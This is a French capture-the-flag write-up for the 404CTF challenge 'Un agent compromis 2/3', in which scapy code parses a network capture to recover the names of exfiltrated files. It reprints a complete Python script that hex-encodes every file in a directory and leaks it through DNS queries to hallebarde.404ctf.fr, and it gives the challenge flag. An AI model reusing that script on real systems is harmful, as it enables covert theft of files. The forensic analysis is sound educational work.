Skip to main content

(Facile) Un agent compromis 2/3

Description

A l'aide du script que nous avons précédement trouvé:

import binascii
import os
import dns.resolver
import time

def read_file(filename):
    with open(filename, "rb") as f:
        return binascii.hexlify(f.read())


def exfiltrate_file(filename):
    dns.resolver.resolve("never-gonna-give-you-up.hallebarde.404ctf.fr")
    time.sleep(0.1)
    dns.resolver.resolve(binascii.hexlify(filename.encode()).decode() + ".hallebarde.404ctf.fr")
    content = read_file(filename)
    time.sleep(0.1)
    dns.resolver.resolve("626567696E.hallebarde.404ctf.fr")
    time.sleep(0.1)
    for i in range(len(content)//32):
        hostname = content[i * 32: i * 32 + 32].decode()
        dns.resolver.resolve(hostname + ".hallebarde.404ctf.fr")
        time.sleep(0.1)
    if len(content) > (len(content)//32)*32:
        hostname = content[(len(content)//32)*32:].decode()
        dns.resolver.resolve(hostname + ".hallebarde.404ctf.fr")
        time.sleep(0.1)
    dns.resolver.resolve("656E64.hallebarde.404ctf.fr")
    time.sleep(60)


if __name__ == "__main__":
    files = os.listdir()
    print(files)
    for file in files:
        print(file)
        exfiltrate_file(file)

Ainsi que de la capture réseau précédente, il nous faut retrouver le nom des fichiers exfiltrés.

Analyse

Pour cela analysons le script python, on remarque que ce dernier :

def exfiltrate_file(filename):
    dns.resolver.resolve("never-gonna-give-you-up.hallebarde.404ctf.fr")
    time.sleep(0.1)
    dns.resolver.resolve(binascii.hexlify(filename.encode()).decode() + ".hallebarde.404ctf.fr")

On remarque que à chaque appel de la fonction exfiltrate_file, on envoie une requête DNS vers never-gonna-give-you-up.hallebarde.404ctf.fr puis on envoie une requête DNS avec le nom du fichier en hexa suivis de .hallebarde.404ctf.fr

Solution

On va alors chercher à trouver les requêtes DNS qui pointent vers never-gonna-give-you-up.hallebarde.404ctf.fr :

from scapy.all import *

packets = rdpcap('./capture-reseau.pcapng')
for packet in packets:
    if packet.haslayer(DNSQR):
        query = packet[DNSQR].qname
        if query == b'never-gonna-give-you-up.hallebarde.404ctf.fr.':
            print(query)

Maintenant nous voulons récupérer la requête suivante. Comme le contenu du fichier est stocké juste après le nom du ficher et qu'il reste un challenge nous allons stocker l'ensemble des paquets DNS afin que cela soit plus simple.

En observant le code, ce qui nous intéresse ce situe entre un packet DNS pointant vers never-gonna-give-you-up.hallebarde.404ctf.fr et un paquet vers 656E64.hallebarde.404ctf.fr

On va donc récupérer les paquets en les regroupants:

from scapy.all import *

packets = rdpcap('./capture-reseau.pcapng')
capture = []
a = []
for packet in packets:
    if packet.haslayer(DNSQR) and packet.haslayer(IP):
        if packet[IP].src == "192.168.122.55":
            query = packet[DNSQR].qname
            if query == b'never-gonna-give-you-up.hallebarde.404ctf.fr.':
                a = []
            elif query == b'656E64.hallebarde.404ctf.fr.':
                capture.append(a)
            else:
                a.append(query)

Ne reste plus qu'à récupérer la première querry de chaque entré de capture:

for elt in capture:
    hostname = elt[0].split(b".")[0]
    print(binascii.unhexlify(hostname).decode())

La solution en entière nous donne :

from scapy.all import *
import binascii

packets = rdpcap('./capture-reseau.pcapng')
capture = []
a = []
for packet in packets:
    if packet.haslayer(DNSQR) and packet.haslayer(IP):
        if packet[IP].src == "192.168.122.55":
            query = packet[DNSQR].qname
            if query == b'never-gonna-give-you-up.hallebarde.404ctf.fr.':
                a = []
            elif query == b'656E64.hallebarde.404ctf.fr.':
                capture.append(a)
            else:
                a.append(query)

for elt in capture:
    hostname = elt[0].split(b".")[0]
    print(binascii.unhexlify(hostname).decode())

On obtient donc la liste de nos fichiers:

image-1655619431926.png

On obtient ainsi notre flag : 404CTF{exfiltration.py,flag.txt,hallebarde.py,super-secret.pdf}